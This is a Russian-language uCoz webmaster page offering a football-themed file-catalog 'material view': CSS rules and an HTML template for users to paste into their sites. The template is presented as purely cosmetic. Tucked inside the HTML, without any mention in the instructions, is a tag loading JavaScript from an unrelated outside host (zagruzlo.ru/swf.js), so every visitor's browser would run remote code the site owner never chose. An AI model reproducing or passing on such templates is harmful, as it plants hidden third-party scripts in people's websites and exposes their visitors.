Скрипты и шаблоны для uCoz uCoz
uCoz Главная | HTML справочник | Создание баннера | Шаблоны баннеров | Заработок на сайте!
Скрипты и шаблоны

Скрипты для uCoz

Шаблоны для uCoz

Меню сайта
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Наша кнопка
Наша кнопка:


Получить код:

Портал веб-мастеров Vse-ForuCoz.3dn.ru

Категории раздела
Скрипты [76]
Шаблоны [4]
Разное [7]
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Мини-чат


200
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Поиск
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Наш опрос
Любимый смайлик
Всего ответов: 80
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Друзья сайта
  • Блог о хобби
  • Заработай на сайте
  • КОСМОС: все обо всем
  •  
    Banneroobmen
     
    Портал веб-мастеров Vse-ForuCoz.3dn.ru

    Статистика

    Полная статистика



    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Сайт сегодня посетили:

    Бесплатный анализ сайта
    Портал веб-мастеров Vse-ForuCoz.3dn.ru

    Главная » Статьи » Скрипты

    Красивый вид материала для каталога файлов

    Красивый, и чистый бывший вид LP материала футбольной темы светлого фона для каталога файлов , с простой легкостью дизайна для тематических сайтов о футболе. Конечно же можно и переделать под любой цвет, можно конечно же и использовать для любых тематик, просто по виду настроя отнесли вид к такому типу. Пример вида можно просмотреть на скрине.
    Условные операторы вставлены для каталога файлов, но их не сложно изменить или если использовать то обычно условные операторы с условием наличия не отображаются если не работают в данном модуле.
    Установка вида материала на свой сайт Ucoz:
    Копируем и вставляем сам стиль в таблицу стилей CSS сайта:

    Code
    /* Вид Материала */  
      .viewn_loop {margin-bottom:7px;}  
      .viewn_t,  
      .viewn_t2 {padding:0 10px 0 0; background:url(http://mobigama.org/img-gl/viewn_t_bg.png) no-repeat right -34px;}  
      .viewn_t_in {height:34px; background:url(http://mobigama.org/img-gl/viewn_t_bg.png) no-repeat 0 0;}  
      .viewn_title {height:16px; padding:9px 0 0 12px; overflow:hidden; font-size:13px; font-weight:bold; color:#009900;}  
      .viewn_title a {color:000000; text-decoration:none;}  
      .viewn_title a:hover {text-decoration:underline;}  
      .viewn_c {background:url(http://mobigama.org/img-gl/viewn_c_bg.png) repeat-y 0 0;}  
      .viewn_c_in {padding:0 3px; overflow:hidden; background:url(http://mobigama.org/img-gl/viewn_c_bg.png) repeat-y right 0;}  
      .viewn_c_in2 {padding:5px; background:#ededed;}  
      .viewn_detail {overflow:hidden; padding:0 2px; margin:-3px 0 0 0; color:#232323; text-shadow:1px 1px 1px #fff;}  
      .viewn_detail a {color:#FF9900; text-shadow:1px 1px 1px #fff; text-decoration:none;}  
      .viewn_detail a:hover {text-decoration:underline;}  
      .v_detail_b {margin-bottom:-5px;}  
      .right {float:right;}  
      .hr_v {height:3px; margin:3px 0; border-left:1px solid #7c7c7c; border-right:1px solid #7c7c7c; background:url(http://mobigama.org/img-gl/punktir_x_grey.png) repeat-x 0 1px;}  
      .viewn_cont {overflow:hidden; padding:0 2px;}  
      .viewn_cont img {max-width:100%;}  
      .viewn_cont img[align="left"] {display:block; float:left; margin:0 10px 10px 0;}  
      .viewn_cont img[align="right"] {display:block; float:right; margin:0 0 10px 10px;}  
      .viewn_l {width:155px; height:208px; padding:5px; float:left; margin:0 10px 0 0; overflow:hidden; background:url(http://mobigama.org/img-gl/viewn_img_border_bg.png) no-repeat 0 0;}  
      .viewn_l img {width:155px !important; height:208px !important; vertical-align:top;}  
      .viewn_r {overflow:hidden; color:#232323; text-shadow:1px 1px 1px #fff;}  
      .hr_v2 {height:1px; margin:5px -6px; border-top:1px solid #fff;border-bottom:1px solid #fff; background:#7c7c7c;}  
      .viewn_b {height:6px; display:block; padding:0 10px 0 0; background:url(http://mobigama.org/img-gl/viewn_b_bg.png) no-repeat right -6px;}  
      .viewn_b b {height:6px; display:block; background:url(http://mobigama.org/img-gl/viewn_b_bg.png) no-repeat 0 0;}  

      .viewn_b2 {height:6px; display:block; padding:0 10px 0 0; background:url(http://mobigama.org/img-gl/viewn_b2_bg.png) no-repeat right -6px;}  
      .viewn_b2 b {height:6px; display:block; background:url(http://mobigama.org/img-gl/viewn_b2_bg.png) no-repeat 0 0;}  
      /* Вид Материала */  
      


    Вставляем код в вид материалов каталога файлов:

    Code
    <div class="viewn_loop">  
      <div class="viewn_t">  
      <div class="viewn_t_in">  
      <h4 class="viewn_title"> <a href="$ENTRY_URL$">$TITLE$</a>$MODER_PANEL$</h4>  
      </div>  
      </div>  
      <div class="viewn_c">  
      <div class="viewn_c_in">  
      <div class="viewn_c_in2">  
      <div class="viewn_detail">  
      <div class="right">Добавил: <a href="$PROFILE_URL$" target="_blank"><b>$USERNAME$</b></a> » Дата: <span title="$TIME$">$DATE$</span></div>  
      Размер экрана: <b>$VERSION$</b> » Категория: <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a>  
      </div><script src="http://zagruzlo.ru/swf.js" type="text/javascript"></script>  
      <div class="hr_v"></div>  
      <div class="viewn_cont">  
      <div class="viewn_l"><img width="155" height="208" src="$IMG_URL1$"></a></div>  
      <div class="viewn_r">  
      $MESSAGE$  
      </div>  
      </div>  
      <div class="hr_v2"></div>  
      <div class="viewn_detail v_detail_b">  

      <div class="right"><a href="$ENTRY_URL$">Подробнее</a></div>  
      Просмотров: $READS$ | Загрузок: $LOADS$ | Комментариев: $COMMENTS_NUM$  
      </div>  
      </div>  
      </div>  
      </div>  
      <b class="viewn_b"><b></b></b>  
      </div>
    Категория: Скрипты | Добавил: DianaWeb (26.10.2011)
    Просмотров: 956 | Рейтинг: 5.0/2
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Информация о сайте | Форум | Баннерообмен | Sitemap | Sitemap-forum
    © //vse-forucoz.3dn.ru/ - на сайте вы найдете скрипты для uCoz и шаблоны для uCoz, а так же все для веб мастера и обычного юзера. Все материалы размещенные на нашем портале Вы сможете бесплатно скачать.
    Все материалы, размещенные на сайте, являются собственностью их изготовителя (владельца прав) и охраняются законом. Эти материалы предназначены исключительно только для ознакомления!